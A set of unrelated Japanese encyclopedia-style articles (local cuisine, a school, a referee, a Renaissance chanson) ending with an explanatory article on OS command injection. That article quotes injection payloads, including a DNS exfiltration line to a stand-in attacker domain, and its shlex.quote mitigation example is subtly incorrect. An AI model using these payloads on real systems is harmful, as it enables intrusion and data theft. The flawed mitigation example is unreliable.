鶴岡市では、孟宗汁が初夏を告げる料理となっており、鶴岡市出身の直木賞作家・藤沢周平は孟宗汁のことを「毎年5月になると思い出す季節の味」と語っている。
孟宗の収穫のピークは5月中旬で、孟宗が市販されるようになると各家庭でも孟宗汁が作られるようになり、街中に孟宗汁の香りが漂うようになる。
また、レトルト食品の孟宗汁も販売されており、こちらは通年で食すことができる。
孟宗汁 材料
孟宗は収穫した直後からえぐみ成分が急増するため、新鮮であればあるほど味が良いとされる。特に朝採りの孟宗が重宝され、収穫シーズン中は朝採り孟宗を買い求める人々が朝から行列をつくるほどである。
具には厚揚げとシイタケ、豚肉などを用いる。厚揚げを用いることが孟宗汁の特徴となっている。庄内地方では、「厚揚げ」のことを「油揚げ（あぶらげ）」と呼び、通常の「油揚げ」のことは「うすあげ」と呼んでいる。豚肉は入れないほうがタケノコの味を感じるとする意見もある。また豚肉ではなく身欠きニシンやアオサを入れることもあり、このあたりは家庭料理故に各家庭によってさまざまである。
千葉県立我孫子特別支援学校
千葉県立我孫子特別支援学校（ちばけんりつ あびことくべつしえんがっこう）は、千葉県我孫子市に所在する特別支援学校。知的障害のある児童・生徒を対象とし、小学部および中学部を設置している。柏市の千葉県立沼南高柳高等学校内に、高等部職業科を設置した「清新分校」を有する。
千葉県立我孫子特別支援学校 通学区域
我孫子市、柏市（東部地区）、白井市、印西市（旧印旛・本埜地区を除く）
千葉県立我孫子特別支援学校 清新分校
清新分校は、高等部普通科職業コースを設置し、定員は1学年16名。コース実習としてフードデザイン、メンテナンスサービス、ビジネスロジスティックの3分野を実施している。千葉県立沼南高柳高等学校との共同学習を行っている。
千葉県立我孫子特別支援学校 所在地
本校
〒270ｰ1112　千葉県我孫子市新木字大山下1685番地
清新分校
〒277-0941　千葉県柏市高柳995（沼南高柳高校内）
ジョアン・ピニェイロ
ジョアン・ペドロ・ダ・シルバ・ピニェイロ（João Pedro da Silva Pinheiro、1988年1月4日 - ）はポルトガル・ブラガ出身のサッカー審判員。主にプリメイラ・リーガを担当するほか、2016年からは国際サッカー連盟 (FIFA) に国際審判員として登録されている。
ジョアン・ピニェイロ 来歴
2015年にプリメイラ・リーガ（ポルトガル1部）での審判活動を開始。初担当は2015年9月20日のアカデミカ対ボアヴィスタの試合。2016には国際サッカー連盟 (FIFA) に国際審判員として登録される。フル代表による最初の国際試合担当は2019年3月23日に行われたブラジル対パナマの試合。同年にはエジプト（エジプト・プレミアリーグ）とサウジアラビア（サウジ・プロフェッショナルリーグ）からの招聘を受けて試合を担当している。
2019年1月26日、ポルトガルのリーグカップであるタッサ・ダ・リーガ決勝・ポルト対スポルティングCPの試合を裁いた。
2022年2月11日、プリメイラ・リーガで行われたポルト対スポルティングCPの試合を担当。この試合でピニェイロはスポルティングのDFセバスティアン・コアテスに2枚のイエローカードを提示して退場処分とし、この試合の結果が最終的にポルトのシーズン優勝を左右することになり、以後もスポルティングに不利な判定が複数生じているとスポルティングサポーターの批判の的となっている。
千々の悲しみ
『千々の悲しみ』（ちぢのかなしみ、Mille Regretz）は、ルネサンス時代のフランコ＝フランドル楽派の世俗ポリフォニー歌曲（シャンソン）である。ジョスカン・デ・プレ作曲とされているが異説もある。16世紀のうちにさまざまな編曲が現れ、現在もよく知られている。
『千々の悲しみ』は皇帝カール5世のお気に入りの曲でもあった。
千々の悲しみ 歴史
この4声からなるポリフォニーのシャンソンは1533年にパリでピエール・アテニャンから出版され、作曲者をジョスカン・デ・プレとしている。作詞者については「J. Lemaire」と記されており、詩人ジャン・ルメール・ド・ベルジュの作品であるかもしれない。デイヴィッド・ファローズはジョスカン・デ・プレを作曲者とすることに疑問を呈している。
ジョスカン・デ・プレの『千々の悲しみ』は1536年にカール5世がローマを訪問した時にクリストバル・デ・モラーレスが作曲したミサ曲「Missa Mille Regretz」の着想元になった。『千々の悲しみ』はカール5世のお気に入りの曲だった。
ルイス・デ・ナルバエスが1538年に出版した『デルフィンの六部の譜本』の第三部第六曲「皇帝の歌」(Canción del Emperador)は『千々の悲しみ』のビウエラ編曲である。
ニコラ・ゴンベールは6声(SATTBB)のより複雑な『千々の悲しみ』を作曲した（1540年出版）。
ティールマン・スザートが1551年に出版した曲集『ダンスリー』(Danserye)にもパヴァーヌ『千々の悲しみ』が含まれている。
千々の悲しみ 歌詞
歌詞は10音節の詩行からなる四行連で、1つの詩行はカエスーラによって4音節と6音節に分かれている。
現代フランス語：
サラベール版の歌詞は以下のようだった：
千々の悲しみ 後世への影響
ルネサンスの作曲家に対する継承・オマージュとして、現代でも同じ歌詞に複数の曲がつけられている。
カナダの作曲家フランソワ＝ユーグ・ルクレールは、オーベルヴィリエ・ラ・クルヌーヴ地方音楽院からの委嘱により1995年に『千々の悲しみについて』(Au regard de Mille regrets)を初演した。2005年にはモントリオールでの演奏のために改訂版が作られた。この作品は混声合唱とフルート・コーラングレ・ホルン・チェロからなる器楽合奏のための曲である。
フランス政府から依頼されたロベール・パスカルの弦楽四重奏曲第3番『千々の悲しみ』は、1998年にリヨンでドビュッシー四重奏団 (fr:Quatuor Debussy) によって初演された。
2020年、ジョスカン・デ・プレ没後500年記念の一環として、2人の若い作曲家がふたたびこの歌詞に作曲した。これらの作品は「À Cœur Joie」という名前のコンクールで披露され、フランス人の作曲家ピエール＝エドゥアール・ペクールの同声合唱のための『千々の悲しみ』が1等、カナダの作曲家レミ・サン＝ジャックの二重混声合唱のための同名の曲が2等を得た。2曲はともにコンデ＝シュル＝レスコーで2022年11月に初演された。コンデ＝シュル＝レスコーはジョスカン・デ・プレの没した地である。
OSコマンドインジェクション
OSコマンドインジェクション（オーエスコマンドインジェクション、英語:OS Command Injection）は、コンピュータセキュリティにおける脆弱性の一つであり、アプリケーションが外部からの入力を適切に処理せずにOSのコマンドを組み立てる際に、攻撃者によって任意のOSコマンドを不正に実行されてしまう危険性のある脆弱性、およびそれを利用した攻撃手法である。OSのシェルを利用するためシェルインジェクションとも呼ばれる。
OSコマンドインジェクション 概要
OSコマンドインジェクションは、アプリケーションが外部からの入力（フォーム、Cookie、HTTPヘッダなど）を適切に無害化せずに、OSコマンドを構築する際に発生する脆弱性である。これにより、攻撃者はOS上で任意のコマンドを注入し、実行することが可能になる。情報処理推進機構（IPA）では、「外部からの攻撃によってWebサーバーのOSコマンドを不正に実行されてしまう脆弱性」と定義している。この脆弱性が悪用されると、サーバー内の重要情報が盗まれたり、他のシステムへの攻撃の踏み台として悪用されたりする危険性がある。国際的な脆弱性分類基準であるMITREの共通脆弱性タイプ一覧（CWE）では、この脆弱性は「CWE-78: OSコマンドで使用される特殊な要素の不適切な無害化」として分類されている。
OSコマンドインジェクション 概要
OSコマンドインジェクションとコードインジェクションの攻撃手法は混同されがちであるが、攻撃のコンテキストと対象が異なる。OSコマンドインジェクションでは、アプリケーションの既存の機能を悪用し、OSのシェル上でコマンドを実行させるものである。攻撃者は新しいアプリケーションコードを注入するのではなく、アプリケーションを騙して不正なOSコマンドを実行させる。攻撃の実行コンテキストはOSのコマンドインタプリタである。一方、コードインジェクションは、アプリケーション自体のプログラミング言語（例：PHP、Python）で書かれた悪意のあるコードを注入し、アプリケーションの言語ランタイムに解釈・実行させるものである。攻撃者はその言語の機能に制約されるが、多くの場合、そこからOSコマンドの実行へと権限昇格が可能である。OSコマンドインジェクションに対して、OSとの対話に安全なパラメータ化されたAPIを使用すること対策する。一方、コードインジェクションに対しては、`eval()`のような危険な関数の使用を避け、入力が決してアプリケーションの言語ランタイムによって実行可能なコードとして解釈されないようにすることで対策する。
OSコマンドインジェクション 攻撃方法
OSコマンドインジェクション攻撃は、一般的に以下の段階的な手順を踏む。
OSコマンドインジェクションを可能にするのは、シェルがコマンド文字列の構造を解釈する方法を悪用する特殊文字（メタ文字）の存在である。これらの文字は、攻撃者が意図したコマンドの流れを乗っ取るための構文ツールとなる。
コマンドセパレータ: 複数のコマンドを連結実行するために使用される。
`;`（Unix/Windows）**: 前のコマンドの成否にかかわらず、コマンドを連続して実行する。
`&`（Unix/Windows）**: 最初のコマンドをバックグラウンドで実行し、即座に次のコマンドを実行する。
`&&`（Unix/Windows）**: 最初のコマンドが成功した場合にのみ、次のコマンドを実行する。
`|`（Unix/Windows）**: 最初のコマンドの出力を、次のコマンドの入力として渡す（パイプ）。
`||`（Unix/Windows）**: 最初のコマンドが失敗した場合にのみ、次のコマンドを実行する。
改行文字（`\n` または `0x0a`）**: Unix系シェルではコマンド区切りとして機能することがある。
OSコマンドインジェクション 攻撃方法
これらの脆弱性が明らかになっているにもかかわらず、依然として主要なセキュリティリスクとして存在し続けている。IPAやOWASPのような権威機関が10年以上にわたって詳細なガイダンスを提供し続けているにもかかわらず、2024年になってもCISAやFBIが重要なネットワークエッジデバイスにおける同脆弱性について共同で警告を発している。これらの脆弱性は、`system()`や`exec()`といった既知の危険な関数を無防備な入力と共に使用することで生じることが多い。
OSコマンドインジェクション OSコマンドインジェクションの応用
これは最も直接的なインジェクションの形態であり、注入されたコマンドの実行結果がアプリケーションのHTTPレスポンスに直接返される。例えば、攻撃者が脆弱なパラメータに`; whoami`を注入すると、ウェブページのレスポンスに「www-data」といった実行ユーザー名が含まれて返ってくることがある。これにより、攻撃者は即座にエクスプロイトの成功を確認し、アプリケーションの実行コンテキストを把握することができる。
これはより高度なシナリオで、アプリケーションがコマンドの出力をレスポンスに返さない場合の手法である。攻撃者は、間接的な手段を通じてコマンドの実行成否を推測する必要がある。この手法の理解は、単純な出力ベースの検知を回避する攻撃に対処する上で不可欠である。
攻撃者は、`ping -c 10 127.0.0.1`（10秒間の遅延）や`sleep 5`（5秒間の遅延）のように、測定可能な時間遅延を引き起こすコマンドを注入する。HTTPレスポンスが指定した時間だけ遅延した場合、攻撃者は脆弱性が存在し、コマンドが実行されたと確信する。これは、ブラインド脆弱性を悪用する際の一般的な最初のステップである。
OSコマンドインジェクション OSコマンドインジェクションの応用
攻撃者は、実行したコマンドの出力を、ウェブからアクセス可能なディレクトリ（例：`/var/www/static/`）内のファイルにリダイレクトする。ペイロードは`& whoami > /var/www/static/output.txt`のようになる。
攻撃者は、侵害したサーバーに、自身が制御する外部のシステムへのネットワーク接続（アウトオブバンド通信）を強制する。これは、`nslookup`、`curl`、`wget`といったコマンドを用いて行われることが一般的である。攻撃者は自身のDNSサーバーを監視し、このドメインへの名前解決リクエストが来たかどうかでコマンドの実行を確認できる。さらに、コマンドの実行結果をDNSクエリに埋め込むことで、データを窃取することも可能である。例えば、`& nslookup `whoami`.attacker-controlled-domain.com`というペイロードを送信する。攻撃者のDNSサーバーは`www-data.attacker-controlled-domain.com`のようなクエリを受け取り、これにより実行ユーザー名を窃取できる。
これは、見過ごされがちな巧妙な亜種であり、攻撃者の入力は新しいコマンドを生成するのではなく、意図されたコマンドに悪意のある引数を注入する。この攻撃は、コマンドの振る舞いを危険な方法で変更するフラグやオプション（例：出力をファイルに書き込む、サブプロセスを実行する）を受け入れるコマンドを悪用する。
攻撃者は様々な難読化手法を用いて対策を回避しようとする。以下はその例である。
OSコマンドインジェクション 攻撃例（ Equifax社に対するOSコマンドインジェクション）
2017年、Equifax社において、OSコマンドインジェクションにより大規模なデータ漏洩事件が発生した。原因は、Equifaxがオンラインの異議申し立てポータルで使用していたWebアプリケーションフレームワーク、Apache Struts 2に存在した既知のOSコマンドインジェクション脆弱性であった。この脆弱性は、巧妙に細工された`Content-Type` HTTPヘッダを介して、リモートの攻撃者が任意のOSコマンドを実行できるというものであった。Equifaxは2017年3月にこの脆弱性に対するパッチ適用の通知を受けていたが、影響を受けるシステムへの適用を怠っていた。
OSコマンドインジェクション 攻撃例（ Equifax社に対するOSコマンドインジェクション）
2017年5月、攻撃者はパッチ未適用のStruts脆弱性を悪用し、サーバーへの足がかりを確保した。 攻撃者は侵害したサーバー上で、暗号化されていないユーザー名とパスワードを含むファイルを発見した。この認証情報を利用して、Equifaxのネットワーク内にある、本来関連のない48のデータベースにアクセスした。これは、適切なネットワークセグメンテーション成されていなかったために可能となった。2017年5月～7月、攻撃者は約9,000回のクエリを実行し、約1億4800万人分の個人識別情報にアクセスし、外部へ持ち出した。この不正アクセスは76日間も気づかれなかった。その原因は、ネットワークトラフィックを監視する役割のデバイスのセキュリティ証明書が19ヶ月間も失効しており、機能していなかったためである。この侵害は、2017年7月29日に証明書が更新され、不審なトラフィックが検知されたことでようやく発覚した。
Equifaxは、連邦取引委員会（FTC）、消費者金融保護局（CFPB）、および全米50州との間で、最大7億ドルの和解に達した。その後、すべての請求を解決するための和解金総額は13億8000万ドルと報告されている。また、事後処理とセキュリティシステムの刷新に14億ドル以上を費やした。この事件の余波で、Equifax社のCEO、CIO、CSOが全員辞任に追い込まれた。
OSコマンドインジェクション OSコマンドインジェクションへの対策
OSコマンドインジェクションを防ぐ最も効果的な方法は、より安全な言語ネイティブのAPIが存在する場合、アプリケーション層のコードからOSコマンドを直接呼び出さないことである。例えば、`system("mkdir " + dirName)` の代わりに、言語に組み込まれた `mkdir()` 関数を使用する。これにより、シェルインタプリタがプロセスから完全に排除される。
OSコマンドの実行が避けられない場合、次善の策は、コマンドとその引数を厳密に分離するAPIを使用することである。これはパラメータ化として知られている。
Java:
危険な例: `Runtime.getRuntime().exec("cmd.exe /c dir " + userInput);`。このコードは単一の文字列を連結するため脆弱である。`Runtime.exec`はデフォルトではシェルを呼び出さないが、`cmd /c`と組み合わせることでリスクが再導入される。
安全な例: `ProcessBuilder`を使用し、コマンドと各引数をリストの個別の要素として渡す：`new ProcessBuilder("ls", "-l", userInput);`。これにより、`userInput`はシェルによって解釈されるのではなく、単一のリテラルな引数として扱われる。
OSコマンドインジェクション OSコマンドインジェクションへの対策
Python:
危険な例: `subprocess.run("nslookup " + hostname, shell=True)`。`shell=True`引数は、文字列全体をシステムシェルに渡して解釈させるため、極めて危険である。
安全な例: 引数をリストとして渡す：`subprocess.run(["nslookup", hostname])`。デフォルトの`shell=False`が安全な選択である。
`shlex`による強化: ユーザー入力から引数リストを構築する際の安全性を最大化するためには、`shlex.quote()`を使用して、入力が単一のシェルセーフなトークンとして扱われるようにする：`subprocess.run(["my_script.sh", shlex.quote(user_input)])`。
OSコマンドインジェクション OSコマンドインジェクションへの対策
PHP:
危険な例: `exec("ping -c 4 ". $_GET['host']);`。これは典型的な文字列連結による脆弱性である。
安全な例: `escapeshellarg()`を使用してユーザー入力が単一の引用符で囲まれた引数として渡されるようにし、`escapeshellcmd()`を使用してコマンド自体をメタ文字からエスケープする。この組み合わせは多層的な防御を提供する：`exec(escapeshellcmd("ping -c 4 ". escapeshellarg($_GET['host'])), $output);`。
Webアプリケーションは、専用の低権限ユーザーアカウントで実行するべきである。これにより、万が一コマンドインジェクション脆弱性が悪用された場合でも、攻撃者のコマンドはそのユーザーの限定された権限でしか実行されない。結果として、重要なシステムファイルの変更、ルートキットのインストール、他のアプリケーションのデータへのアクセスなどを防ぎ、被害を大幅に軽減することができる。
WAFはWebアプリケーションの前面に配置され、HTTPトラフィックを検査し、コマンドインジェクションペイロードを含む悪意のあるリクエストを特定・ブロックする。その検知メカニズムは主に以下の通りである。